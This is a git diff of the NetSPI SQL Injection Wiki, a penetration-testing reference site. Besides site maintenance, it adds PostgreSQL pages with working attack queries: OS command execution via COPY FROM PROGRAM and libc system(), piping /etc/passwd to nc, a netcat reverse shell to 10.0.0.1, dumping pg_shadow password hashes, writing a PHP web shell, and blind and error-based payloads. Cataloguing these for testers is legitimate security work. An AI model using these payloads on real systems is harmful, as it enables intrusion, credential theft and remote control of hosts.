diff --git a/CNAME b/CNAME
new file mode 100644
index 0000000..371dc69
--- /dev/null
+++ b/CNAME
@@ -0,0 +1 @@
+sqlwiki.netspi.com
\ No newline at end of file
diff --git a/Gemfile.lock b/Gemfile.lock
deleted file mode 100644
index ba24930..0000000
--- a/Gemfile.lock
+++ /dev/null
@@ -1,239 +0,0 @@
-GEM
- remote: https://rubygems.org/
- specs:
- activesupport (4.2.9)
- i18n (~> 0.7)
- minitest (~> 5.1)
- thread_safe (~> 0.3, >= 0.3.4)
- tzinfo (~> 1.1)
- addressable (2.5.2)
- public_suffix (>= 2.0.2, < 4.0)
- coffee-script (2.4.1)
- coffee-script-source
- execjs
- coffee-script-source (1.11.1)
- colorator (1.1.0)
- commonmarker (0.17.7.1)
- ruby-enum (~> 0.5)
- concurrent-ruby (1.0.5)
- ethon (0.11.0)
- ffi (>= 1.3.0)
- execjs (2.7.0)
- faraday (0.14.0)
- multipart-post (>= 1.2, < 3)
- ffi (1.9.21)
- forwardable-extended (2.6.0)
- gemoji (3.0.0)
- github-pages (177)
- activesupport (= 4.2.9)
- github-pages-health-check (= 1.3.5)
- jekyll (= 3.6.2)
- jekyll-avatar (= 0.5.0)
- jekyll-coffeescript (= 1.0.2)
- jekyll-commonmark-ghpages (= 0.1.5)
- jekyll-default-layout (= 0.1.4)
- jekyll-feed (= 0.9.2)
- jekyll-gist (= 1.4.1)
- jekyll-github-metadata (= 2.9.3)
- jekyll-mentions (= 1.2.0)
- jekyll-optional-front-matter (= 0.3.0)
- jekyll-paginate (= 1.1.0)
- jekyll-readme-index (= 0.2.0)
- jekyll-redirect-from (= 0.12.1)
- jekyll-relative-links (= 0.5.2)
- jekyll-remote-theme (= 0.2.3)
- jekyll-sass-converter (= 1.5.0)
- jekyll-seo-tag (= 2.3.0)
- jekyll-sitemap (= 1.1.1)
- jekyll-swiss (= 0.4.0)
- jekyll-theme-architect (= 0.1.0)
- jekyll-theme-cayman (= 0.1.0)
- jekyll-theme-dinky (= 0.1.0)
- jekyll-theme-hacker (= 0.1.0)
- jekyll-theme-leap-day (= 0.1.0)
- jekyll-theme-merlot (= 0.1.0)
- jekyll-theme-midnight (= 0.1.0)
- jekyll-theme-minimal (= 0.1.0)
- jekyll-theme-modernist (= 0.1.0)
- jekyll-theme-primer (= 0.5.2)
- jekyll-theme-slate (= 0.1.0)
- jekyll-theme-tactile (= 0.1.0)
- jekyll-theme-time-machine (= 0.1.0)
- jekyll-titles-from-headings (= 0.5.0)
- jemoji (= 0.8.1)
- kramdown (= 1.16.2)
- liquid (= 4.0.0)
- listen (= 3.0.6)
- mercenary (~> 0.3)
- minima (= 2.1.1)
- nokogiri (>= 1.8.1, < 2.0)
- rouge (= 2.2.1)
- terminal-table (~> 1.4)
- github-pages-health-check (1.3.5)
- addressable (~> 2.3)
- net-dns (~> 0.8)
- octokit (~> 4.0)
- public_suffix (~> 2.0)
- typhoeus (~> 0.7)
- html-pipeline (2.7.1)
- activesupport (>= 2)
- nokogiri (>= 1.4)
- i18n (0.9.5)
- concurrent-ruby (~> 1.0)
- jekyll (3.6.2)
- addressable (~> 2.4)
- colorator (~> 1.0)
- jekyll-sass-converter (~> 1.0)
- jekyll-watch (~> 1.1)
- kramdown (~> 1.14)
- liquid (~> 4.0)
- mercenary (~> 0.3.3)
- pathutil (~> 0.9)
- rouge (>= 1.7, < 3)
- safe_yaml (~> 1.0)
- jekyll-avatar (0.5.0)
- jekyll (~> 3.0)
- jekyll-coffeescript (1.0.2)
- coffee-script (~> 2.2)
- coffee-script-source (~> 1.11.1)
- jekyll-commonmark (1.1.0)
- commonmarker (~> 0.14)
- jekyll (>= 3.0, < 4.0)
- jekyll-commonmark-ghpages (0.1.5)
- commonmarker (~> 0.17.6)
- jekyll-commonmark (~> 1)
- rouge (~> 2)
- jekyll-default-layout (0.1.4)
- jekyll (~> 3.0)
- jekyll-feed (0.9.2)
- jekyll (~> 3.3)
- jekyll-gist (1.4.1)
- octokit (~> 4.2)
- jekyll-github-metadata (2.9.3)
- jekyll (~> 3.1)
- octokit (~> 4.0, != 4.4.0)
- jekyll-mentions (1.2.0)
- activesupport (~> 4.0)
- html-pipeline (~> 2.3)
- jekyll (~> 3.0)
- jekyll-optional-front-matter (0.3.0)
- jekyll (~> 3.0)
- jekyll-paginate (1.1.0)
- jekyll-readme-index (0.2.0)
- jekyll (~> 3.0)
- jekyll-redirect-from (0.12.1)
- jekyll (~> 3.3)
- jekyll-relative-links (0.5.2)
- jekyll (~> 3.3)
- jekyll-remote-theme (0.2.3)
- jekyll (~> 3.5)
- rubyzip (>= 1.2.1, < 3.0)
- typhoeus (>= 0.7, < 2.0)
- jekyll-sass-converter (1.5.0)
- sass (~> 3.4)
- jekyll-seo-tag (2.3.0)
- jekyll (~> 3.3)
- jekyll-sitemap (1.1.1)
- jekyll (~> 3.3)
- jekyll-swiss (0.4.0)
- jekyll-theme-architect (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-cayman (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-dinky (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-hacker (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-leap-day (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-merlot (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-midnight (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-minimal (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-modernist (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-primer (0.5.2)
- jekyll (~> 3.5)
- jekyll-github-metadata (~> 2.9)
- jekyll-seo-tag (~> 2.2)
- jekyll-theme-slate (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-tactile (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-theme-time-machine (0.1.0)
- jekyll (~> 3.5)
- jekyll-seo-tag (~> 2.0)
- jekyll-titles-from-headings (0.5.0)
- jekyll (~> 3.3)
- jekyll-watch (1.5.1)
- listen (~> 3.0)
- jemoji (0.8.1)
- activesupport (~> 4.0, >= 4.2.9)
- gemoji (~> 3.0)
- html-pipeline (~> 2.2)
- jekyll (>= 3.0)
- kramdown (1.16.2)
- liquid (4.0.0)
- listen (3.0.6)
- rb-fsevent (>= 0.9.3)
- rb-inotify (>= 0.9.7)
- mercenary (0.3.6)
- mini_portile2 (2.3.0)
- minima (2.1.1)
- jekyll (~> 3.3)
- minitest (5.11.3)
- multipart-post (2.0.0)
- net-dns (0.8.0)
- nokogiri (1.8.2)
- mini_portile2 (~> 2.3.0)
- octokit (4.8.0)
- sawyer (~> 0.8.0, >= 0.5.3)
- pathutil (0.16.1)
- forwardable-extended (~> 2.6)
- public_suffix (2.0.5)
- rb-fsevent (0.10.2)
- rb-inotify (0.9.10)
- ffi (>= 0.5.0, < 2)
- rouge (2.2.1)
- ruby-enum (0.7.1)
- i18n
- rubyzip (1.2.1)
- safe_yaml (1.0.4)
- sass (3.5.5)
- sass-listen (~> 4.0.0)
- sass-listen (4.0.0)
- rb-fsevent (~> 0.9, >= 0.9.4)
- rb-inotify (~> 0.9, >= 0.9.7)
- sawyer (0.8.1)
- addressable (>= 2.3.5, < 2.6)
- faraday (~> 0.8, < 1.0)
- terminal-table (1.8.0)
- unicode-display_width (~> 1.1, >= 1.1.1)
- thread_safe (0.3.6)
- typhoeus (0.8.0)
- ethon (>= 0.8.0)
- tzinfo (1.2.5)
- thread_safe (~> 0.1)
- unicode-display_width (1.3.0)
-
-PLATFORMS
- ruby
-
-DEPENDENCIES
- github-pages
-
-BUNDLED WITH
- 1.15.4
diff --git a/README.md b/README.md
index dcbefb1..d5719c0 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,9 @@
NetSPI SQL Injection Wiki
======================
-This wiki's mission is to be a one stop resource for fully identifying, exploiting, and escalating SQL injection vulnerabilities across various Database Management Systems. Want to know more? Check out the release [blog](https://blog.netspi.com/netspi-sql-injection-wiki/)!
+This wiki's mission is to be a one stop resource for fully identifying, exploiting, and escalating SQL injection vulnerabilities across various Database Management Systems. You can visit the live version at [sqlwiki.netspi.com](https://sqlwiki.netspi.com/)
+
+Want to know more? Check out the release [blog](https://blog.netspi.com/netspi-sql-injection-wiki/)!
## Contributing
@@ -14,6 +16,7 @@ See [CONTRIBUTING.md](https://github.com/NetSPI/WikiJekyllTheme/blob/master/CONT
- Ben Tindell
- Colin Salisbury
- Eric Gruber (@egru)
+- Ian Williams (@aph3rson)
- Jake Reynolds (@jreynoldsdev)
- Khai Tran (@k_tr4n)
- Rafael Seferyan
diff --git a/_data/injectionDescriptions.yml b/_data/injectionDescriptions.yml
index c0a8ee5..cdf039b 100644
--- a/_data/injectionDescriptions.yml
+++ b/_data/injectionDescriptions.yml
@@ -1,14 +1,14 @@
injectionDetection: Injections can be detected in a number of ways. The simplest being adding a '
or "
after various parameters and getting a database error returned from the web server. The sections below describe where to find and how to detect these parameters.
dbmsIdentification: Detecting what Database Management System (DBMS) is being used is critical in being able to further exploit an injection. Without that knowledge it would not be possible to determine what tables to query, what functions are built-in, and what detections to avoid. A successful response from the below queries identify that the selected DBMS is being used.
errorBased: Error based injections are exploited through triggering errors in the database when invalid inputs are passed to it. The error messages can be used to return the full query results, or gain information on how to restructure the query for further exploitation.
-unionBased: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns).
+unionBased: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns). You can try to enumerate the amount of columns using error based enumeration (see error based injection).
blindBased: Blind SQL injection is one of the more advanced methods of injection. The Partial-Blind and Full-Blind methods are detailed below. Use care when performing these queries, as they can overload a server if performed through heavy automation.
conditionalStatements: Conditional statements are beneficial for creating complex queries and aiding in Blind Injection.
injectionPlacement: SQL injection is always a hassle when it isn't apparent where the injection is taking place. It is helpful to have a few ways to exploit injections in various parts of the query.
injectionObfuscation: Obfuscating queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). Below are examples of basic query obfuscations, they may require modification before being applied to certain injections.
-dataExfiltration: Exfiltrating data allows easier data analysis, as well as an offline copy of any compromised data. Data can be exfiltrated through files, various Layer 4 requests, and hidden techniques.
+dataExfiltration: Exfiltrating data allows easier data analysis, as well as an offline copy of any compromised data. Data can be exfiltrated through files, various layer 4 requests, and hidden techniques.
dataTargeting: Being able to properly target and identify sensitive information can exponentially decrease time spent in a database. This means less time spent poking around and more time spent researching other vectors.
-executingOSCommands: Running OS commands is one of the primary objectives of SQL injection, this aids in getting full control of the host OS. This may happen by directly executing commands, modifying existing data to put a shell on a webpage, or exploiting hidden functionality in the database.
+executingOSCommands: Running OS commands is one of the primary objectives of SQL injection - this aids in getting full control of the host OS. This may happen by directly executing commands, modifying existing data to put a shell on a webpage, or exploiting hidden functionality in the database.
informationGathering: It is often valuable to gather information about any testing environment; version numbers, user accounts, and databases all help in escalating vulnerabilities. Below are common methods for this.
lateralMovement: Lateral movement allows a tester to gain access to different sets of functionality/data that don't explicitly require a more privileged user. Switching user accounts laterally will expose different information and could aid in compromising a more privileged user.
privilegeEscalation: Certain functionalities require a privileged user and for escalating a vulnerability a privileged user is always the first step.
diff --git a/assets/images/facebookCard.jpg b/assets/images/facebookCard.jpg
index 35fd767..d319612 100644
Binary files a/assets/images/facebookCard.jpg and b/assets/images/facebookCard.jpg differ
diff --git a/assets/images/favicon.ico b/assets/images/favicon.ico
new file mode 100644
index 0000000..99ae406
Binary files /dev/null and b/assets/images/favicon.ico differ
diff --git a/assets/images/logo.png b/assets/images/logo.png
new file mode 100644
index 0000000..a637522
Binary files /dev/null and b/assets/images/logo.png differ
diff --git a/assets/images/twitterCard.jpg b/assets/images/twitterCard.jpg
index c4802f7..273e053 100644
Binary files a/assets/images/twitterCard.jpg and b/assets/images/twitterCard.jpg differ
diff --git a/attackQueries/dataExfiltration/index.html b/attackQueries/dataExfiltration/index.html
index c1b8291..8277a76 100644
--- a/attackQueries/dataExfiltration/index.html
+++ b/attackQueries/dataExfiltration/index.html
@@ -2,7 +2,7 @@
layout: tab
description: Exfiltrating data through SQL Injection allows easier data analysis, as well as an offline copy of any compromised data.
keywords: data exfiltration, exfiltration, breach
-Title: Data Exfiltration | NetSPI SQL Injection Wiki
+title: Data Exfiltration | NetSPI SQL Injection Wiki
tabs:
- title: MySQL
shortName: mysql
diff --git a/attackQueries/dataExfiltration/mysql.html b/attackQueries/dataExfiltration/mysql.html
index b1d832f..8ea22f3 100644
--- a/attackQueries/dataExfiltration/mysql.html
+++ b/attackQueries/dataExfiltration/mysql.html
@@ -13,7 +13,7 @@
{{site.data.injectionDescriptions.executingOSCommands}}
@@ -16,8 +16,11 @@{{site.data.injectionDescriptions.executingOSCommands}}
diff --git a/attackQueries/executingOSCommands/postgresql.html b/attackQueries/executingOSCommands/postgresql.html new file mode 100644 index 0000000..dff6985 --- /dev/null +++ b/attackQueries/executingOSCommands/postgresql.html @@ -0,0 +1,102 @@ +{{site.data.injectionDescriptions.executingOSCommands}}
+ +Name | +Query | +
---|---|
+ + FROM PROGRAM + |
+
+ + DROP TABLE IF EXISTS myoutput; + CREATE TABLE myoutput(filename text); + COPY myoutput FROM PROGRAM 'ps aux'; + SELECT * FROM myoutput ORDER BY filename ASC; + |
+
+ + Create PostgreSQL Function Mapped + to Libc System Method + |
+
+ + CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; + SELECT system('cat /etc/passwd | nc + + Notes: + + This method works with PostgreSQL 8.1 and below. After version 9, you'll have to upload your own library with the "PG_MODULE_MAGIC" set. + The process for this is outlined at https://www.dionach.com/blog/postgresql-9x-remote-command-execution, below is a summary. + + + 1. To get the version from the PostgreSQL server use the query below. + + SELECT version(); + + + 2. To compile the library, a Linux machine with the same version of PostgreSQL as the target machine is required. Below is an example showing how to install PostgreSQL. + + apt install postgresql postgresql-server-dev-9.6 + + + 3. Download pgexec file from https://github.com/Dionach/pgexec/tree/master. + + + 4. Compile pgexec with the command below. + + gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c + + + 5. Upload the library to the target system. First split the file into pieces. + + split -b 2048 pg_exec.so + + + 6. The file can then be written to disk through PostgreSQL using the commands below. + + SELECT lo_creat(-1); + set c0 `base64 -w 0 xaa` + INSERT INTO pg_largeobject (loid, pageno, data) values (16388, 0, decode(:'c0', 'base64')); + + + Then repeat for each piece of the file. + + 7. Create the function. + + CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT; + + 8. Send a reverse shell to your system. + + SELECT sys('nc -e /bin/sh 10.0.0.1 4444'); + + + Source: https://www.dionach.com/blog/postgresql-9x-remote-command-execution + |
+
+ + Metasploit postgres_payload Module + This can be used with direct connections. + |
+
+ + https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload + exploit/linux/postgres/postgres_payload + |
+
Once the injectable parameters and DBMS type are identified we need to attack the database. Below you will find various section to aid you in escalating privileges, exfiltrating data, and more.
+Once the injectable parameters and DBMS type are identified we need to attack the database. Below you will find various sections to aid you in escalating privileges, exfiltrating data, and more.
{{site.data.injectionDescriptions.informationGathering}}
diff --git a/attackQueries/informationGathering/index.html b/attackQueries/informationGathering/index.html index 33036f2..428bf13 100644 --- a/attackQueries/informationGathering/index.html +++ b/attackQueries/informationGathering/index.html @@ -13,4 +13,7 @@ - title: SQL Server shortName: sqlserver fileName: sqlserver.html + - title: PostgreSQL + shortName: postgresql + fileName: postgresql.html --- diff --git a/attackQueries/informationGathering/postgresql.html b/attackQueries/informationGathering/postgresql.html new file mode 100644 index 0000000..ad18757 --- /dev/null +++ b/attackQueries/informationGathering/postgresql.html @@ -0,0 +1,100 @@ +{{site.data.injectionDescriptions.informationGathering}}
+ +Description | +Query | +
---|---|
Version | +SELECT version(); | +
User | +
+ SELECT user; + SELECT current_user; + SELECT session_user; + SELECT usename FROM pg_user; + SELECT getpgusername(); + |
+
Users | +SELECT usename FROM pg_user | +
User Password Hashes | +SELECT usename, passwd FROM pg_shadow | +
Privileges | +SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user | +
List DBA Accounts | +SELECT usename FROM pg_user WHERE usesuper IS TRUE | +
Current Database | +SELECT current_database() | +
Databases | +SELECT datname FROM pg_database | +
Tables | +SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) | +
Tables from Column Names | +SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) | +
Columns | +SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) | +
Find Stored Procedures | +
+ SELECT proname + FROM pg_catalog.pg_namespace n + JOIN pg_catalog.pg_proc p + ON pronamespace = n.oid + WHERE nspname = 'public'; + |
+
Comments | +
+ SELECT 1; –comment + SELECT /*comment*/1; + |
+
Server Name | ++ |
Host Name | +select inet_server_addr() | +
Listening Port | +select inet_server_port(); | +
List Settings | +SELECT * FROM pg_settings; | +
{{site.data.injectionDescriptions.readingAndWritingFiles}}
+ +* Requires privileged user
+Description | +Query | +
---|---|
Read Files from Operating System - COPY | +
+ CREATE TABLE mydata(t text); + COPY mydata FROM '/etc/passwd'; + SELECT * FROM mydata; + DROP TABLE mytest mytest; + |
+
Read Files from Operating System - pg_read_file | ++ SELECT pg_read_file('/usr/local/pgsql/data/pg_hba.conf', 0, 200); + | +
Writing Files from Operating System | +
+ CREATE TABLE mytable (mycol text); + INSERT INTO mytable(mycol) VALUES (' pasthru($_GET[cmd]); ?>'); + COPY mytable (mycol) TO '/var/www/test.php'; + |
+
{{site.data.injectionDescriptions.blindBased}}
+ +Partial-blind injections can be determined by differing HTTP status codes, response times, content-lengths, and HTML contents in the HTTP response. These markers can indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed + information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).
+Query | +
---|
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) | +
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) | +
{{site.data.injectionDescriptions.errorBased}}
+ +Query | +
---|
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) | +
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- | +
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- | +
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) | +
+ https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
+ https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9
+
Some useful online sandboxes for testing queries can be found below:
http://sqlfiddle.com/
https://turbo.net/sql
- https://sqlzoo.net/
- http://www.headfirstlabs.com/sql_hands_on/